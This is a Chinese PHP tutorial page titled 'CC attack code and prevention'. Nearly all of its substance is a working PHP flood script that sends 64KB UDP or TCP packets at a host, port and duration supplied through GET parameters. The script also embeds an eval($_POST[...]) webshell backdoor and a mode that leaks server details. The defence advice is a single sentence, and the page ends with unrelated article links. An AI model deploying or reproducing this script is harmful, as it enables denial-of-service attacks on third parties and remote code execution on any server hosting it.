php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
GD输出汉字的函数的分析
Oct 09 PHP
BBS(php &amp; mysql)完整版(五)
Oct 09 PHP
php 全局变量范围分析
Aug 07 PHP
PHP中获取变量的变量名的一段代码的bug分析
Jul 07 PHP
PHP Directory 函数的详解
Mar 07 PHP
php的数组与字符串的转换函数整理汇总
Jul 18 PHP
Ubuntu server 11.04安装memcache及php使用memcache来存储session的方法
May 31 PHP
微信支付开发动态链接Native支付
Jul 12 PHP
thinkPHP5.0框架简单配置作用域的方法
Mar 17 PHP
Yii2框架实现登录、退出及自动登录功能的方法详解
Oct 24 PHP
php实现数组中出现次数超过一半的数字的统计方法
Oct 14 PHP
PHP使用 Pear 进行安装和卸载包的方法详解
Jul 08 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
PHP中error_reporting()用法详解
2015/08/31 PHP
PHP 5.6.11 访问SQL Server2008R2的几种情况详解
2016/08/08 PHP
Laravel框架学习笔记之批量更新数据功能
2019/05/30 PHP
写js时遇到的一些小问题
2010/12/06 Javascript
面向对象的Javascript之三(封装和信息隐藏)
2012/01/27 Javascript
jquery easyui combox一些实用的小方法
2013/12/25 Javascript
JavaScript中发布/订阅模式的简单实例
2014/11/05 Javascript
浏览器兼容性问题大汇总
2015/12/17 Javascript
详解Javascript事件驱动编程
2016/01/03 Javascript
在IE8上JS实现combobox支持拼音检索功能
2016/05/23 Javascript
js导出excel文件的简洁方法(推荐)
2016/11/02 Javascript
Extjs表单输入框异步校验的插件实现方法
2017/03/20 Javascript
Vue非父子组件通信详解
2017/06/12 Javascript
JS之if语句对接事件动作逻辑(详解)
2017/06/28 Javascript
Vue实现购物车场景下的应用
2017/11/27 Javascript
浅谈React高阶组件
2018/03/28 Javascript
vue-rx的初步使用教程
2018/09/21 Javascript
原生js实现Flappy Bird小游戏
2018/12/24 Javascript
详解Node.js amqplib 连接 Rabbit MQ最佳实践
2019/01/24 Javascript
layui-select动态选中值的例子
2019/09/23 Javascript
jQuery事件模型默认行为执行顺序及trigger()与 triggerHandler()比较实例分析
2020/04/30 jQuery
[46:00]Ti4 冒泡赛第二轮LGD vs C9 2
2014/07/14 DOTA
Python使用numpy模块创建数组操作示例
2018/06/20 Python
详解python--模拟轮盘抽奖游戏
2019/04/12 Python
使用OpenCV-python3实现滑动条更新图像的Canny边缘检测功能
2019/12/12 Python
numpy实现神经网络反向传播算法的步骤
2019/12/24 Python
pytorch:实现简单的GAN示例(MNIST数据集)
2020/01/10 Python
一些常用的HTML5模式(pattern) 总结
2015/07/14 HTML / CSS
迪奥美国官网:Dior美国
2019/12/07 全球购物
婚礼主持词
2014/03/13 职场文书
贷款委托书怎么写
2014/08/02 职场文书
员工手册董事长致辞
2015/07/29 职场文书
高中团支书竞选稿
2015/11/21 职场文书
Python进阶学习之带你探寻Python类的鼻祖-元类
2021/05/08 Python
python保存大型 .mat 数据文件报错超出 IO 限制的操作
2021/05/10 Python
MySQL中LAG()函数和LEAD()函数的使用
2022/08/14 MySQL